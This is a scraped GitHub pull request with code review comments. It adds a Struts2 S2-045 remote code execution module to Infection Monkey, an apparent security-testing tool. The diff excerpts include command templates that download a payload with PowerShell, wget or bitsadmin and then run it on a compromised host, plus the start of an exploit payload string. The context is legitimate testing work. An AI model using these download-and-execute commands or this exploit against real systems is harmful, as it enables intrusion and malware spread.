Struts2 rce #146

VakarisZ · 2018-06-20T21:15:58Z

Feature

Struts2 remote code execution exploitation added:

https://cwiki.apache.org/confluence/display/WW/S2-045

Tested on windows 10 and ubuntu(struts2 2.3.15.1 and tomcat 9.0.0.M9)

Changes

Monkey can now propagate using above mentioned vulnerability and if it does
so successfully, warnings and recomendations are shown in report

… already present

danielguardicore · 2018-06-21T10:24:24Z

infection_monkey/exploit/struts2.py

+LOG = logging.getLogger(__name__)
+
+ID_STRING = "M0NK3YSTRUTS2"
+MONKEY_ARG = "m0nk3y"


Use the globals we have under model\__init__.py and add generic stuff to there.
Also use the dropper arg rather than monkey, that solves your timeout problem in running the command.

danielguardicore · 2018-06-21T10:24:54Z

infection_monkey/exploit/struts2.py

+MONKEY_ARG = "m0nk3y"
+# Commands used for downloading monkeys
+POWERSHELL_HTTP = "powershell -NoLogo -Command \"Invoke-WebRequest -Uri \\\'%%(http_path)s\\\' -OutFile \\\'%%(monkey_path)s\\\' -UseBasicParsing; %%(monkey_path)s %s %%(parameters)s\"" % (MONKEY_ARG, )
+WGET_HTTP = "wget  -O %%(monkey_path)s %%(http_path)s && sudo chmod a+rwx %%(monkey_path)s && %%(monkey_path)s %s %%(parameters)s" % (MONKEY_ARG, )


Why do you assume we have sudo and why does chmod need that?

danielguardicore · 2018-06-21T10:25:12Z

infection_monkey/exploit/struts2.py

+# Commands used to check if monkeys already exists
+EXISTS = "ls %s"
+
+WEB_PORTS = [80, 443, 8080]


Exists under config, HTTP_PORTS

danielguardicore · 2018-06-21T10:25:58Z

infection_monkey/exploit/struts2.py

+        except AttributeError:
+            # If url does not exist
+            return False
+        except httplib.IncompleteRead, e:


Lets use modern exception syntax, as e

danielguardicore · 2018-06-21T10:27:10Z

infection_monkey/exploit/struts2.py

+
+    def exploit_host(self):
+        # Initializing vars for convenience
+        ports, _ = check_tcp_ports(self.host.ip_addr, WEB_PORTS)


Why not reuse what the http fingerprint module provides us? See how the shellshock module implemented this

I used what I found in rdp grinder. Also, seemed elegant enough not to search elsewhere

danielguardicore · 2018-06-21T10:28:49Z

infection_monkey/exploit/struts2.py

+
+            cmdline = build_monkey_commandline(self.host, get_monkey_depth() - 1)
+
+            command = POWERSHELL_HTTP % {'monkey_path': re.sub(r"\\", r"\\\\", dropper_path),


What happens if Powershell isn't usable? Can we check for that?
Alternate option, make sure we're talking about Windows Server 2008 R2+ or Win8+ to make sure Powershell is installed and usable.

danielguardicore · 2018-06-21T10:30:16Z

infection_monkey/exploit/struts2.py

+        """
+        page = ""
+
+        payload = "%{(#_='multipart/form-data')."


I'd rather shift this to some const string and build this with string formatting, will be faster/cleaner.

danielguardicore · 2018-06-21T10:31:23Z

infection_monkey/exploit/struts2.py

+        except httplib.IncompleteRead, e:
+            page = e.partial
+        except Exception:
+            LOG.info("Request timed out, because monkey is still running on remote host")


Doesn't fit as an error message for generic function

Couldn't find propper error handling for timeout. Any help?

danielguardicore · 2018-06-21T10:31:58Z

infection_monkey/exploit/struts2.py

+    def exploit_host(self):
+        # Initializing vars for convenience
+        ports, _ = check_tcp_ports(self.host.ip_addr, WEB_PORTS)
+        dropper_path_linux = self._config.dropper_target_path_linux


Why no option for 32bit/64bit linux path?

Because there are no options in self._config. If everything else creates only /temp/monkey and my code starts creating /temp/monkey32 or 64 it's rather unconsistant, don't you think?

…struts2RCE

danielguardicore · 2018-06-26T13:36:28Z

infection_monkey/exploit/struts2.py

+            LOG.info("Host is exploitable with struts2 RCE vulnerability")
+            # If monkey already exists and option not to exploit in that case is selected
+            if self.skip_exist and self.check_remote_file(url, dropper_path):
+                return True


I'd rather add a quick logging line to help us understand what happens in this case. Also note the same issue exists in Windows

danielguardicore · 2018-06-26T13:38:48Z

infection_monkey/model/__init__.py

@@ -4,6 +4,7 @@

 MONKEY_ARG = "m0nk3y"
 DROPPER_ARG = "dr0pp3r"
+ID_STRING = "M0NK3Y3XPL0ITABLE"


If this is unique to the struts attack, what is it doing here?

In my case if the payload is wrong we get the whole page. To know that payload wasn't wrong and we in fact could exploit, we need to look for as unique as possible string(ID STRING). This string may be used for other purposes or other exploits that share the same problem

danielguardicore · 2018-06-26T13:39:47Z

infection_monkey/model/__init__.py

+# Commands used for downloading monkeys
+POWERSHELL_HTTP = "powershell -NoLogo -Command \"Invoke-WebRequest -Uri \\\'%%(http_path)s\\\' -OutFile \\\'%%(monkey_path)s\\\' -UseBasicParsing; %%(monkey_path)s %s %%(parameters)s\"" % (DROPPER_ARG, )
+WGET_HTTP = "wget -O %%(monkey_path)s %%(http_path)s && chmod +x %%(monkey_path)s && %%(monkey_path)s %s %%(parameters)s" % (DROPPER_ARG, )
+RDP_CMDLINE_HTTP_BITS_DROPPER = 'bitsadmin /transfer Update /download /priority high %%(http_path)s %%(monkey_path)s&&start /b %%(monkey_path)s %s %%(parameters)s'  % (DROPPER_ARG, )


RDP_CMDLINE_HTTP_BITS and RDP_CMDLINE_HTTP_BITS_DROPPER
Sounds like you need
RDP_CMDLINE_HTTP = 'bitsadmin /transfer Update /download /priority high %%(http_path)s %%(monkey_path)s&&start /b %%(monkey_path)s %s %%(parameters)s'
and have two other consts, otherwise we're having the same magic string twice.

danielguardicore · 2018-06-26T13:45:43Z

infection_monkey/exploit/struts2.py

+
+            cmdline = build_monkey_commandline(self.host, get_monkey_depth() - 1, dropper_path)
+
+            command = WGET_HTTP % {'monkey_path': dropper_path,


I think we'd be better off splitting this into three parts (see Shellshock) so if we fail we have better logging of which part failed.

Vakaris and others added 6 commits June 19, 2018 18:05

Now exploiting both win and linux. Also, added check if monkey is not…

9a8a6c6

… already present

Not yet functioning and tested, but most functions are done

413bdd9

Struts exploitation working, and tested with win-64 and ubuntu

2d27972

Finished up exploitation and added reporting

ef6c512

Cosmetic changes

208411d

Merge branch 'develop' into struts2RCE

d510476

danielguardicore reviewed Jun 21, 2018

View reviewed changes

danielguardicore mentioned this pull request Jun 21, 2018

Implement Struts2 RCEs #106

Closed

Vakaris added 4 commits June 22, 2018 14:55

Some notes fixed

7ce790a

Merge branch 'struts2RCE' of https://github.com/VakarisZ/monkey into …

81712dd

…struts2RCE

Fixed some bugs and more notes

6714522

removed debugging code

6a37f2b

danielguardicore reviewed Jun 26, 2018

View reviewed changes

Small changes

c278b0a

danielguardicore merged commit 3118620 into guardicore:develop Jun 26, 2018

VakarisZ deleted the struts2RCE branch December 11, 2018 15:05

Provide feedback

Saved searches

Use saved searches to filter your results more quickly

Struts2 rce #146

Struts2 rce #146

VakarisZ commented Jun 20, 2018

danielguardicore Jun 21, 2018 •

edited

Loading

danielguardicore Jun 21, 2018

danielguardicore Jun 21, 2018

danielguardicore Jun 21, 2018

danielguardicore Jun 21, 2018

VakarisZ Jun 21, 2018

danielguardicore Jun 21, 2018 •

edited

Loading

danielguardicore Jun 21, 2018

danielguardicore Jun 21, 2018

VakarisZ Jun 21, 2018

danielguardicore Jun 21, 2018

VakarisZ Jun 21, 2018

danielguardicore Jun 26, 2018 •

edited

Loading

danielguardicore Jun 26, 2018

VakarisZ Jun 26, 2018

danielguardicore Jun 26, 2018 •

edited

Loading

danielguardicore Jun 26, 2018


		cmdline = build_monkey_commandline(self.host, get_monkey_depth() - 1)

		command = POWERSHELL_HTTP % {'monkey_path': re.sub(r"\\", r"\\\\", dropper_path),


		cmdline = build_monkey_commandline(self.host, get_monkey_depth() - 1, dropper_path)

		command = WGET_HTTP % {'monkey_path': dropper_path,

Struts2 rce #146

Struts2 rce #146

Conversation

VakarisZ commented Jun 20, 2018

Feature

Changes

danielguardicore Jun 21, 2018 • edited Loading

Choose a reason for hiding this comment

Choose a reason for hiding this comment

Choose a reason for hiding this comment

Choose a reason for hiding this comment

Choose a reason for hiding this comment

Choose a reason for hiding this comment

danielguardicore Jun 21, 2018 • edited Loading

Choose a reason for hiding this comment

Choose a reason for hiding this comment

Choose a reason for hiding this comment

Choose a reason for hiding this comment

Choose a reason for hiding this comment

Choose a reason for hiding this comment

danielguardicore Jun 26, 2018 • edited Loading

Choose a reason for hiding this comment

Choose a reason for hiding this comment

Choose a reason for hiding this comment

danielguardicore Jun 26, 2018 • edited Loading

Choose a reason for hiding this comment

Choose a reason for hiding this comment

danielguardicore Jun 21, 2018 •

edited

Loading

danielguardicore Jun 21, 2018 •

edited

Loading

danielguardicore Jun 26, 2018 •

edited

Loading

danielguardicore Jun 26, 2018 •

edited

Loading